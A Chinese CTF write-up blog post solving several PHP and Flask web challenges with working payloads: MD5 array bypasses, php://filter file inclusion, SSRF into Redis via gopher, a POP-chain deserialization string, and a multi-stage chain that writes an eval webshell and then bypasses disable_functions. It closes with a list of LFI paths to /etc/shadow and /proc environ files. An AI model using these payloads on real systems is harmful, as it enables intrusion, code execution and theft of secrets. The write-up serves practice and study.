2026-08-14
靶场题解吗?
00
请注意,本文编写于 92 天前,最后修改于 76 天前,其中某些信息可能已经过时。

目录

一、ezlogin
1.
2.
3.
2.showmeshell
1. 前端页面功能
2. 潜在风险
1. 文件读取测试(file:// 协议)
2. 信息收集
3. 读取源码受阻
4. 绕过 app 过滤读取源码
5. 关键源码分析
1. 测试 Redis 认证
2. 使用 Gopher 认证
3.superezpop
一、先搞懂三个核心概念
1. 什么是「序列化」和「反序列化」?
2. 什么是「魔术方法」?
3. 什么是「POP 链」?
二、题目代码逐行拆解
类 1:User(入口类)
类 2:Login(跳板类)
类 3:Read(终点类)
三、攻击链(POP 链)完整流程
四、最难的一关:哈希碰撞怎么绕过?
题目条件:
问题:
解法:利用 PHP 数组特性
五、Payload 怎么构造?
手写序列化格式:
最终 Payload:
六、实际攻击
攻击 URL:
服务器发生了什么:
返回结果:
七、总结
分析反序列化题目的标准步骤:
本题考点:
万能公式:
4.showmetrick
题目源码
Level 1:sha1 数组碰撞
源码
条件拆解
绕过原理
Payload
Level 2:in_array 弱类型比较
源码
条件拆解
绕过原理
Payload
Level 3:data:// 伪协议
源码
条件拆解
绕过原理
Payload
Level 4:PHP 参数名解析特性(点号绕过)
源码
问题
绕过原理(PHP 7 Trick)
Payload
Level 5:intval 进制自动识别
源码
条件拆解
绕过原理
Payload
Level 6:运算符优先级陷阱
源码
条件拆解
绕过原理
Payload
Level 7:数组绕过 preg_match + 文件写入
源码
条件拆解
绕过原理
Payload
后渗透:disable_functions 绕过
环境信息
为什么蚁剑默认终端不行?
选择绕过方法:PHP 7 GC UAF
完整通关 Payload
4.my secret world
一、根目录及系统级位置
二、Web 目录及相关文件
三、特殊位置与技巧
1. 环境变量
2. 当前进程的工作目录
3. 读取 Apache 配置文件
4. 读取 nginx 配置文件
5. 读取 PHP 源码中的隐藏文件

打着玩玩,有些提示不全,处于更新状态


一、ezlogin

1.

这里是个登录框

图片.png

优先看源码,是个经典的php弱比较

图片.png

PHP MD5 比较漏洞知识点

1. PHP 中的比较运算符

  • ==(弱比较):先将字符串转换为数字再比较,如果两个字符串都以 0e 开头且后面全是数字,则会被解释为科学计数法 0,导致比较相等。
  • ===(强比较):不进行类型转换,比较值和类型,更安全。

2. MD5 函数特性

  • md5($string) 返回 32 位十六进制字符串(默认小写)。
  • md5($array) 返回 NULL 并产生警告(PHP 8 中会抛出异常,但老版本返回 NULL)。

3. 常见绕过方法

a) 数组绕过(针对 === 和 == 均有效)

当传入数组时,md5() 返回 NULL,两个 NULL 比较相等(NULL === NULL 为 true,NULL >== NULL 也为 true)。

?username[]=1&password[]=2

两个不同的数组,但 md5() 都返回 NULL,满足 md5($_GET['username']) === >md5($_GET['password'])。

b) 科学计数法绕过(针对 ==)

某些字符串的 MD5 值以 0e 开头且后面全是数字,如:

  • 240610708 → md5 = 0e462097431906509019562988736854
  • QNKCDZO → md5 = 0e830400451993494058024219903391
  • s878926199a→ md5 = 0e545993274517709034328855841020

当使用 == 比较时,两个 0e... 都被视为 0,因此相等。

c) MD5 碰撞(针对 ===)

虽然理论上 md5 存在碰撞,但在 CTF 中很少使用。已知的经典碰撞字符串:

  • %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e>%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%>60%fb%5f%07%fe%a2 与另一个字符串的 MD5 相同,但需要二进制数据,一般不用于 Web 参数。

d) 空值绕过

某些 PHP 版本中,md5() 处理空字符串返回 d41d8cd98f00b204e9800998ecf8427e,但无绕过价值。

2.

这里直接?username[]=1&password[]=2绕过,发现进入了一个界面,开始卡我,发现有?file参数,所以这里猜测是文件包含

PHP 伪协议 php://filter 知识点

1. 什么是 php://filter

php://filter 是 PHP 中的一种流包装器,用于在读取或写入数据时应用过滤器。常用于文件包含漏 洞中读取文件源码,尤其是当直接包含会执行 PHP 代码时。

  • 基本格式:php://filter/read=过滤器/resource=文件路径
  • 简写格式:php://filter/过滤器/resource=文件路径(省略 read=)

2. 常用过滤器

  • convert.base64-encode:将文件内容进行 Base64 编码后输出,常用于读取 PHP 源码而不执>行。
php://filter/convert.base64-encode/resource=index.php
  • convert.base64-decode:解码 Base64 内容后输出,可用于绕过某些过滤。

  • string.rot13:对内容进行 ROT13 编码。

  • string.toupper / string.tolower:转换大小写。

  • convert.iconv.*:字符编码转换,可构造高级过滤器链。

3. 利用场景

a) 读取文件源码

当文件被 include() 时会执行,但使用 php://filter 将内容编码后输出,避免执行,直接获取 源码。

?file=php://filter/convert.base64-encode/resource=flag.php

返回的 Base64 字符串解码后即可看到 flag。

b) 绕过 WAF 或字符过滤
  • 使用不同过滤器组合绕过关键字检测。
  • 利用 php://filter 的 resource 参数支持目录穿越(如 ../)读取任意文件。
c) 执行任意代码(高级)

通过 php://filter 配合 php://input 或 data:// 可写入并执行代码,但需开启 >allow_url_include。
例如:

?file=php://filter/convert.base64-decode/resource=data://text/>plain,PD9waHAgcGhwaW5mbygpOz8+

(其中 Base64 解码后为 <?php phpinfo();?>)

4. 常见绕过技巧

  • 省略 read=:php://filter/convert.base64-encode/resource=...
  • 大小写混合:PHP://Filter/...
  • 多重编码:php://filter/read=convert.base64-encode|convert.base64-encode/>resource=...
  • 路径穿越:php://filter/convert.base64-encode/resource=../../../../flag.php

3.

使用这个直接读取源码http://47.106.102.27:40041/setu.php?file=php://filter/convert.base64-encode/resource=setu

图片.png

图片.png

php
$str = str_replace("../","",$_GET['file']); if (strpos($str,'php://filter/convert.base64-encode/resource') !== false) { include ( $_GET['file'] . '.php'); // 分支1 } else { include( "/var/www/html/" . $str . '.php' ); // 分支2 }

分支1: 如果输入中包含 php://filter/convert.base64-encode/resource,则直接 include($_GET['file'] . '.php')。

使用原始输入,没有过滤 ../,所以可以读取任意以 .php 结尾的文件。

所以 ?file=php://filter/convert.base64-encode/resource=任意路径 会读取 任意路径.php 并以 base64 显示源码。

分支2: 否则将 $str 拼接到 /var/www/html/ 后,再加 .php 后缀。

str_replace("../","",...) 只替换一次 ../,但可以利用 ..././ 绕过:替换后中间的 ../ 被删除,前后字符重新组成 ../,从而实现目录穿越。

这里tm没有提示,我卡了半天,上网看了看发现最后是flagggg路径

先读取hint http://47.106.102.27:40041/setu.php?file=php://filter/convert.base64-encode/resource=hint 图片.png

图片.png

再读取/answer下的flagggg

图片.png

这没有提示我上哪里猜去

2.showmeshell

打开让我登录,写着:这是一个未完成的请求测试小工具demo

首先推测是ssrf

1. 前端页面功能

  • 页面包含一个输入框,用户可输入 URL,点击按钮后通过 Ajax 向 /download/ 接口 POST 提交 url 参数。
  • 服务端返回请求 URL 的内容并显示在页面中。
javascript
function mySubmitSearch() { $.post(/download/, {"url": $('#url').val()}, function(result){ $('#result').html('<pre><code>'+result+'</code></pre>'); } ) }

2. 潜在风险

  • 服务端可能直接使用用户输入的 URL 发起请求,存在 SSRF。
  • 未限制协议,可能访问内网资源。

1. 文件读取测试(file:// 协议)

  • 尝试:file:///etc/passwd
  • 结果:返回 Hacker!,说明后端过滤了字符串 file(小写)。
  • 绕过:使用大写 File:///etc/passwd,成功读取系统文件。

成功读取 /etc/passwd:

root:x:0:0:root:/root:/bin/bash ... ctf:x:1000:1000::/home/ctf:/bin/sh redis:x:101:102::/var/lib/redis:/usr/sbin/nologin

2. 信息收集

通过读取 /proc/self/environ 和 /proc/self/cmdline 获取进程信息。

  • File:///proc/self/environ:

    MAIL=/var/mail/ctf USER=ctf HOME=/home/ctf LOGNAME=ctf PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games SHELL=/bin/sh PWD=/app

    得知工作目录为 /app。

  • File:///proc/self/cmdline:

    python/app/app.py

    主程序为 /app/app.py。

  • File:///proc/1/cmdline:

    /bin/sh/docker-entrypoint

    容器入口脚本。

  • File:///home/ctf/.profile:

    Hacker!

    干扰信息。

3. 读取源码受阻

  • 尝试直接读取:File:///app/app.py
  • 结果:返回 No source code required!,说明过滤了 app 字符串。

4. 绕过 app 过滤读取源码

使用 /proc/self/cwd/ 符号链接代替 /app,同时对 app.py 中的 a 进行 URL 编码,绕过关键字过滤。

  • 成功 payload:File:///proc/self/cwd/%61pp.py

获取源码关键部分:

python
import pycurl from flask import Flask, session, request, redirect, url_for, render_template from session import Session from redis import Redis from io import BytesIO app = Flask(__name__) app.config['SESSION_TYPE'] = 'redis' app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379, password='secret_pAss_b6f6234c') app.config['SESSION_USE_SIGNER'] = True app.config['SECRET_KEY'] = 'app_secccret_keeeey23333' app.config['SESSION_PERMANENT'] = False app.config['PERMANENT_SESSION_LIFETIME'] = 3600 Session(app) @app.route('/') def index(): if not session.get('username', None): return redirect(url_for('login')) return render_template('index.html', username=session.get('username')) @app.route('/login/', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] if username.strip(): session['username'] = username return redirect(url_for('index')) return redirect(url_for('login')) if request.method == "GET": return render_template('login.html') @app.route('/download/', methods=['POST']) def download(): if not session.get('username', None): return redirect(url_for('login')) if request.method == 'POST': url = request.form["url"] if "app" in url: return "No source code required!" if "file" in url: return "Hacker!" try: c = pycurl.Curl() buffer = BytesIO() c.setopt(pycurl.URL, url) c.setopt(pycurl.CONNECTTIMEOUT, 5) c.setopt(pycurl.TIMEOUT, 5) c.setopt(c.WRITEDATA, buffer) c.perform() res = buffer.getvalue() return res.decode() except Exception as e: print(str(e)) return "Error!" if __name__ == "__main__": app.run(host='0.0.0.0', port=5000, debug=False)

5. 关键源码分析

  • 过滤规则:仅检查 URL 中是否包含小写 app 和 file,未对协议、IP、端口做限制。
  • 漏洞点:pycurl.Curl() 支持多种协议,包括 gopher、dict 等。
  • Redis 配置:127.0.0.1:6379,密码 secret_pAss_b6f6234c。

1. 测试 Redis 认证

使用 dict:// 协议测试:

dict://127.0.0.1:6379/

返回 -NOAUTH Authentication required,证明 Redis 需要认证。

2. 使用 Gopher 认证

构造 gopher 请求发送 AUTH 命令:

gopher://127.0.0.1:6379/_AUTH%20secret_pAss_b6f6234c%0d%0aPING%0d%0a

但是这里gopher协议有问题,不知为何出不来,然后尝试多个文件多个绕过多个协议,全部失败,不知道,

开始使用ai大人发力

图片.png

3.superezpop

pop链构造,这里直接ai跑了下

php
<?php error_reporting(0); class User{ public $username; public $password; public $variable; public $a; public function __construct() { $this->username = "user"; $this->password = "user"; } public function __wakeup(){ if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){ echo "wuhu!"; return $this->variable->xxx; }else{ die("o^o"); } } } class Login{ public $point; public function __get($key){ $func = $this->point; return $func(); } } class Read{ public $filename; public function __invoke(){ echo file_get_contents($this->filename.".php"); } } if(isset($_GET['x'])){ unserialize($_GET['x']); }else{ highlight_file(__FILE__); } ?>

一、先搞懂三个核心概念

1. 什么是「序列化」和「反序列化」?

想象你有一个 乐高盒子(PHP 对象),里面装着几块积木(属性/变量)。

  • serialize() = 把乐高盒子拆成一张 说明书(字符串),方便运输
  • unserialize() = 按照说明书,把盒子 重新拼起来
php
// 举个栗子 $a = new User(); $a->name = "admin"; $s = serialize($a); // 得到类似这样的字符串:O:4:"User":1:{s:4:"name";s:5:"admin";} $b = unserialize($s); // $b 又变回了一个 User 对象,name 还是 "admin"

本题中:unserialize($_GET['x']) 就是让你传一个「说明书字符串」,服务器帮你拼成对象。


2. 什么是「魔术方法」?

魔术方法 = 特定时机自动触发 的函数,名字以 __ 开头。

本题涉及三个:

魔术方法什么时候自动执行?人话解释
__wakeup()unserialize() 执行时盒子刚拼好,自动喊一声「我醒了」
__get($key)访问 不存在 的属性时你想拿一个盒子里没有的东西,它自动拦下你
__invoke()把 对象当成函数 调用时你把这个盒子当电话打,它自动接听

3. 什么是「POP 链」?

POP = Property Oriented Programming(面向属性编程)

说人话:通过控制对象里的属性值,像多米诺骨牌一样,让一个魔术方法触发下一个魔术方法,最终执行危险操作。

核心思路:从终点倒推!


二、题目代码逐行拆解

代码里有三个类,我们一个一个看:

类 1:User(入口类)

php
class User{ public $username; public $password; public $variable; public $a; public function __wakeup(){ if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){ echo "wuhu!"; return $this->variable->xxx; // ← 关键!访问 xxx 属性 }else{ die("o^o"); } } }

关键点:

  • __wakeup() 在反序列化时 自动执行
  • 它有个 if 判断,过了才能往下走
  • 过了之后执行 $this->variable->xxx

问题:xxx 这个属性在 User 类里 根本没有定义!

但 PHP 不会报错,它会尝试访问 $this->variable 这个对象里的 xxx 属性。


类 2:Login(跳板类)

php
class Login{ public $point; public function __get($key){ $func = $this->point; return $func(); // ← 把 $this->point 当函数执行! } }

关键点:

  • __get($key) 在访问 不存在属性 时触发
  • 如果 User 里的 $this->variable 是一个 Login 对象
  • 那么访问 ->xxx 就会触发 Login::__get("xxx")
  • 然后执行 $func(),也就是把 $this->point 当函数调用

类 3:Read(终点类)

php
class Read{ public $filename; public function __invoke(){ echo file_get_contents($this->filename.".php"); } }

关键点:

  • __invoke() 在 对象被当成函数调用 时触发
  • 如果 Login 的 $this->point 是一个 Read 对象
  • 那么 $func() 就会触发 Read::__invoke()
  • 最终执行 file_get_contents($this->filename.".php") —— 任意文件读取!

三、攻击链(POP 链)完整流程

我们从 终点倒推,这是分析反序列化题目的标准思路:

终点目标:file_get_contents("flag.php") ↑ 要触发 __invoke(),需要把对象当函数调用:$obj() ↑ 在 Login::__get() 里执行了 $func(),而 $func = $this->point 所以让 $this->point = new Read() 对象 ↑ 要触发 __get(),需要访问不存在的属性:$obj->xxx ↑ 在 User::__wakeup() 里执行了 $this->variable->xxx 所以让 $this->variable = new Login() 对象 ↑ 要触发 __wakeup(),需要执行 unserialize() ↑ 题目已经给了:unserialize($_GET['x'])

正着看攻击流程:

你传入 Payload → unserialize() → 触发 User::__wakeup() → 校验通过,执行 $this->variable->xxx → $this->variable 是 Login 对象,xxx 不存在 → 触发 Login::__get("xxx") → 执行 $this->point() → $this->point 是 Read 对象 → 触发 Read::__invoke() → file_get_contents("flag.php") ✅

对象关系图:

User 对象 ├── username = [0] ← 数组,用于绕过哈希 ├── password = [1] ← 数组,用于绕过哈希 ├── variable = Login 对象 ← 关键连接点 │ └── point = Read 对象 ← 关键连接点 │ └── filename = "flag" ← 要读的文件 └── a = null

四、最难的一关:哈希碰撞怎么绕过?

题目条件:

php
($this->username != $this->password) // ① 值不相等 && (md5($this->username) === md5($this->password)) // ② MD5 严格相等 && (sha1($this->username)=== sha1($this->password)) // ③ SHA1 严格相等

问题:

  • === 是 严格比较,值和类型都要一样
  • 正常情况下,两个不同的字符串 MD5 不可能一样(除非碰撞,但极难找)

解法:利用 PHP 数组特性

在 PHP 里:

php
md5([0]) → 返回 NULL(并发出警告,但题目 error_reporting(0) 屏蔽了警告) md5([1]) → 返回 NULL sha1([0]) → 返回 NULL sha1([1]) → 返回 NULL

所以:

  • md5([0]) === md5([1]) → NULL === NULL → true ✅
  • sha1([0]) === sha1([1]) → NULL === NULL → true ✅
  • [0] != [1] → 两个不同数组 → true ✅

三关全过!

💡 笔记重点:md5() 和 sha1() 遇到 数组 参数时返回 NULL。题目开头有 error_reporting(0) 屏蔽了报错,所以不会报错直接返回 NULL。


五、Payload 怎么构造?

Payload 就是一个 序列化后的字符串,描述了上面那个对象关系图。

手写序列化格式:

PHP 序列化语法规则:

  • O:4:"User":4:{...} = 对象,类名长度 4,类名 "User",4 个属性
  • s:8:"username" = 字符串,长度 8,名字 "username"
  • a:1:{i:0;i:0;} = 数组,1 个元素,索引 0,值 0
  • N; = null

最终 Payload:

php
O:4:"User":4:{ s:8:"username";a:1:{i:0;i:0;} // username = [0] s:8:"password";a:1:{i:0;i:1;} // password = [1] s:8:"variable";O:5:"Login":1:{ // variable = Login 对象 s:5:"point";O:4:"Read":1:{ // point = Read 对象 s:8:"filename";s:4:"flag"; // filename = "flag" } } s:1:"a";N; // a = null }

去掉换行,连成一行:

O:4:"User":4:{s:8:"username";a:1:{i:0;i:0;}s:8:"password";a:1:{i:0;i:1;}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:4:"flag";}}s:1:"a";N;}

六、实际攻击

攻击 URL:

http://47.106.102.27:40050/?x=O:4:"User":4:{s:8:"username";a:1:{i:0;i:0;}s:8:"password";a:1:{i:0;i:1;}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:4:"flag";}}s:1:"a";N;}

服务器发生了什么:

  1. $_GET['x'] 拿到你的 Payload 字符串
  2. unserialize() 把它还原成对象
  3. 自动调用 User::__wakeup()
  4. username=[0], password=[1],三个条件全满足,输出 wuhu!
  5. 执行 $this->variable->xxx
  6. variable 是 Login 对象,xxx 不存在 → 触发 Login::__get()
  7. __get() 里执行 $this->point(),point 是 Read 对象 → 触发 Read::__invoke()
  8. file_get_contents("flag.php") 读取文件并输出

返回结果:

图片.png

wuhu!DataCon{y0u_c4n_re3lly_l0g1N!}

七、总结

分析反序列化题目的标准步骤:

  1. 找终点:哪个魔术方法能执行危险操作?(__invoke 里的 file_get_contents)
  2. 倒推链:谁能触发它?谁能触发那个?一直推到入口(__wakeup)
  3. 看条件:入口有没有 if 判断?怎么绕过?(MD5/SHA1 数组返回 NULL)
  4. 构造对象:按链的顺序,把对象嵌套起来
  5. 序列化:生成 Payload,传过去验证

本题考点:

考点内容
POP 链User → Login → Read
魔术方法链__wakeup → __get → __invoke
哈希绕过数组传进 md5()/sha1() 返回 NULL
文件读取file_get_contents($filename.".php")

万能公式:

反序列化题目 = 找入口魔术方法 + 倒推调用链 + 绕过中间条件 + 构造序列化字符串

4.showmetrick

这道题是 THUCTF2021 的经典 PHP 多层绕过题,从弱类型、伪协议、语言特性到内存漏洞,层层递进。下面是每一关的完整源码分析、绕过原理和 payload 拆解。

题目源码

php
<?php error_reporting(0); highlight_file(__FILE__); $var1 = $_GET['var1'] ?: ''; $var2 = $_GET['var2'] ?: ''; $var3 = $_GET['var3'] ?: ''; $var4 = $_GET['var4'] ?: ''; $var5 = $_GET['var5'] ?: ''; $var6 = $_GET['var6'] ?: ''; $var7 = $_GET['var7'] ?: ''; $var8 = $_GET['var8'] ?: ''; $var9 = $_GET['var9'] ?: ''; if ($var1 != $var2 && sha1($var1) === sha1($var2)) { if (!is_numeric($var3) && in_array($var3, array(1))) { if (file_get_contents($var4) === "Welcome to THUCTF2021!") { if (isset($_GET['thuctf_is.fun'])) { if ($var5 != 2333 && intval($var5, 0) === 2333) { $t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021"; if ($t && $var7 === "THUCTF2021") { if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) { file_put_contents("uploads/$var8", $var9); } else { die("level 7 fail!"); } } else { die("level 6 fail!"); } } else { die("level 5 fail!"); } } else { die("level 4 fail!"); } } else { die("level 3 fail!"); } } else { die("level 2 fail!"); } } else { die("level 1 fail!"); }

Level 1:sha1 数组碰撞

源码

php
if ($var1 != $var2 && sha1($var1) === sha1($var2))

条件拆解

  1. $var1 != $var2:两个值不相等(松散比较)
  2. sha1($var1) === sha1($var2):两个值的 sha1 哈希严格相等

绕过原理

PHP 的 sha1() 函数期望传入字符串。如果传入数组,PHP 会:

  • 发出一个 Warning: sha1() expects parameter 1 to be string, array given
  • 返回 NULL

由于开头有 error_reporting(0),Warning 被屏蔽,页面不会报错。

因此,传入两个不同的数组,sha1() 对二者都返回 NULL。NULL === NULL 为 true,且两个数组本身不相等。

Payload

?var1[]=1&var2[]=2

Level 2:in_array 弱类型比较

源码

php
if (!is_numeric($var3) && in_array($var3, array(1)))

条件拆解

  1. !is_numeric($var3):$var3 不能是纯数字字符串
  2. in_array($var3, array(1)):$var3 要在数组 [1] 中

绕过原理

in_array() 的第三个参数 $strict 默认为 false,即使用松散比较(==)。

PHP 的松散比较规则:"1abc" == 1 为 true。因为当字符串与整数比较时,PHP 会提取字符串开头的数字部分,"1abc" 被转换为整数 1。

所以 "1a" 不是 numeric(is_numeric("1a") 返回 false),但 "1a" == 1 为 true。

Payload

?var3=1a

(也可以是 1abc、1; 等)


Level 3:data:// 伪协议

源码

php
if (file_get_contents($var4) === "Welcome to THUCTF2021!")

条件拆解

file_get_contents($var4) 的返回值必须严格等于字符串 "Welcome to THUCTF2021!"

绕过原理

file_get_contents() 支持 PHP 的封装协议(Stream Wrappers),其中 data:// 协议允许直接内嵌数据。

格式:

data://text/plain,明文内容 data://text/plain;base64,base64编码内容

使用 base64 可以避免 URL 中空格和特殊字符的编码问题。

目标字符串 "Welcome to THUCTF2021!" 的 base64:

V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==

Payload

?var4=data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==

Level 4:PHP 参数名解析特性(点号绕过)

源码

php
if (isset($_GET['thuctf_is.fun']))

问题

URL 参数名中的 .(点号)在 PHP 中会被自动替换为 _(下划线)。

例如:

?thuctf_is.fun=1

PHP 解析后变成 $_GET['thuctf_is_fun'],所以 isset($_GET['thuctf_is.fun']) 永远为 false。

绕过原理(PHP 7 Trick)

PHP 在处理参数名时,如果检测到 [(左方括号),会将第一个 [ 替换为 _,但保留该位置之后的所有原始字符(包括 .)。

所以构造参数名:

?thuctf[is.fun=1

PHP 解析过程:

  1. 遇到 thuctf[,将 [ 替换为 _ → 得到 thuctf_
  2. 后续字符 is.fun 原样保留
  3. 最终键名:thuctf_is.fun ✅

Payload

?thuctf[is.fun=1

Level 5:intval 进制自动识别

源码

php
if ($var5 != 2333 && intval($var5, 0) === 2333)

条件拆解

  1. $var5 != 2333:松散比较不相等
  2. intval($var5, 0) === 2333:intval 返回值严格等于 2333

绕过原理

intval($var, $base) 当 $base = 0 时,会根据字符串前缀自动识别进制:

  • 0x 开头 → 十六进制
  • 0 开头 → 八进制
  • 其他 → 十进制

十六进制方案:

  • 0x91d(十六进制)= 十进制 2333
  • intval("0x91d", 0) 返回 2333
  • 但 "0x91d" != 2333 为 true(字符串转数字时,"0x91d" 在松散比较中会被当作 0 处理,因为 PHP 的自动类型转换不识别 0x 前缀)

八进制方案:

  • 04435(八进制)= 十进制 2333
  • intval("04435", 0) 返回 2333
  • "04435" != 2333 为 true(字符串 "04435" 转数字为 4435,4435 != 2333)

Payload

?var5=0x91d

或

?var5=04435

Level 6:运算符优先级陷阱

源码

php
$t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021"; if ($t && $var7 === "THUCTF2021")

条件拆解

  1. $t 必须为 true
  2. $var7 === "THUCTF2021":严格等于字符串

绕过原理

这是 PHP 的运算符优先级陷阱:

优先级运算符
高=(赋值)
低and

所以代码实际执行的是:

php
($t = is_numeric($var6)) and (is_numeric($var7) !== "THUCTF2021");

and 的优先级低于 =,因此:

  1. 先执行 $t = is_numeric($var6),将 $t 赋值为 is_numeric($var6) 的结果
  2. 然后执行 and 右边的表达式,但不影响 $t 的值

只要 $var6 是数字字符串(如 "1"),$t 就是 true。and 右边的表达式无论是什么,都不会改变 $t。

Payload

?var6=1&var7=THUCTF2021

Level 7:数组绕过 preg_match + 文件写入

源码

php
if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) { file_put_contents("uploads/$var8", $var9); }

条件拆解

  1. $var8 不能包含 ..
  2. $var9 不能匹配正则(过滤了 <?、eval、system、php 等)
  3. 将 $var9 的内容写入 uploads/$var8

绕过原理

第一重:preg_match 对数组返回 false

preg_match() 的参数期望是字符串。如果传入数组:

  • PHP 发出 Warning(被屏蔽)
  • 返回 false

!preg_match(...) 当 preg_match 返回 false 时,!false 为 true,成功绕过。

第二重:file_put_contents 支持数组

file_put_contents($filename, $data) 的 $data 可以是数组。传入数组时,PHP 会将数组元素按顺序连接成字符串写入文件。

Payload

?var8=shell.php&var9[]=<?php @eval($_POST[1]);?>

写入后访问 http://47.106.102.27:40051/uploads/shell.php,得到一句话木马。


后渗透:disable_functions 绕过

环境信息

通过 phpinfo() 或蚁剑自带功能查看:

  • PHP 版本:7.2.24
  • disable_functions:set_time_limit, ini_set, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, system, exec, shell_exec, passthru, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

为什么蚁剑默认终端不行?

蚁剑的虚拟终端默认调用 system() 或 exec() 等函数执行命令,但这些全被禁了,返回 ret=127(命令找不到/无法执行)。

可以看到能禁的都禁了,你直接执行是不可以的,这里使用插件绕过

图片.png 图片.png

选择绕过方法:PHP 7 GC UAF

PHP 7.x 的垃圾回收(Garbage Collection)机制存在 Use-After-Free (UAF) 漏洞。利用步骤:

  1. 在内存中构造一个特殊的循环引用对象数组
  2. 触发垃圾回收,使对象被释放但指针仍被引用
  3. 通过 UAF 篡改内存中的结构体(如 zend_string)
  4. 劫持 system() 等函数的调用,绕过 disable_functions 的限制

蚁剑自带 「绕过 disable_functions」 插件,选择 PHP7 GC UAF 模式,会自动上传利用脚本并建立新的虚拟终端。

图片.png

图片.png

完整通关 Payload

http://47.106.102.27:40051/?var1[]=1&var2[]=2&var3=1a&var4=data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ==&thuctf[is.fun=1&var5=0x91d&var6=1&var7=THUCTF2021&var8=shell.php&var9[]=<?php @eval($_POST[1]);?>
参数作用
var1[]=1&var2[]=2sha1 数组碰撞
var3=1ain_array 弱类型
var4=data://...伪协议读指定字符串
thuctf[is.fun=1PHP7 参数名解析特性
var5=0x91dintval 十六进制识别
var6=1&var7=THUCTF2021运算符优先级陷阱
var8=shell.php&var9[]=数组绕过正则,写入 webshell

4.my secret world

进来的页面上是这个 图片.png

这是一个文件包含

抓包然后改包发现,可以读取index.php

图片.png

尝试常见路径,获得flag,这里就是猜测flag路径费了点时间

图片.png

附:flag常见位置

提示

一、根目录及系统级位置

路径说明
/flagCTF 中最常见的 flag 文件
/flag.txt纯文本 flag
/flag.phpPHP 形式的 flag 文件
/key可能存放密钥或 flag
/secret通用秘密文件
/root/flagroot 用户目录下的 flag
/root/flag.txt纯文本形式
/etc/flag系统配置目录下的 flag
/etc/passwd可读取验证 LFI(已确认可读)
/etc/shadow可能包含用户密码(但权限限制)
/tmp/flag临时目录中的 flag
/var/flag常见存放位置
/var/www/flagWeb 根目录父级
/home/ctf/flagCTF 用户主目录
/home/*/flag各用户主目录下的 flag

二、Web 目录及相关文件

路径说明
../flag.php相对于当前 data/ 目录的上级目录(Web 根目录)
../flag.txt文本形式
../flag无扩展名
../config.php配置文件,常含数据库密码和 flag
../secret.php秘密文件
../admin.php管理员文件
../db.php数据库连接文件
../database.php同上
../include.php包含文件
../settings.php设置文件
../../../../var/www/html/flag.php绝对路径形式
../../../../var/www/html/flag.txt文本形式
../../../../var/www/html/config.php配置文件

三、特殊位置与技巧

1. 环境变量

有时 flag 直接存储在环境变量中,可通过读取 /proc 文件获取:

id=../../../../proc/self/environ id=../../../../proc/1/environ id=../../../../proc/self/cmdline id=../../../../proc/self/status

2. 当前进程的工作目录

id=../../../../proc/self/cwd/flag.php id=../../../../proc/self/cwd/flag.txt id=../../../../proc/self/cwd/config.php

/proc/self/cwd 指向当前工作目录(通常是 Web 根目录),可以避免猜测路径。

3. 读取 Apache 配置文件

id=../../../../etc/apache2/apache2.conf id=../../../../etc/apache2/sites-available/000-default.conf

从中可以获取 Web 根目录具体路径,进一步精准读取。

4. 读取 nginx 配置文件

id=../../../../etc/nginx/nginx.conf id=../../../../etc/nginx/sites-available/default

5. 读取 PHP 源码中的隐藏文件

有时 flag 写在注释或备份文件中:

id=../.index.php.swp id=../index.php.bak id=../index.php~ id=../.flag.php.swp id=../www.zip id=../backup.zip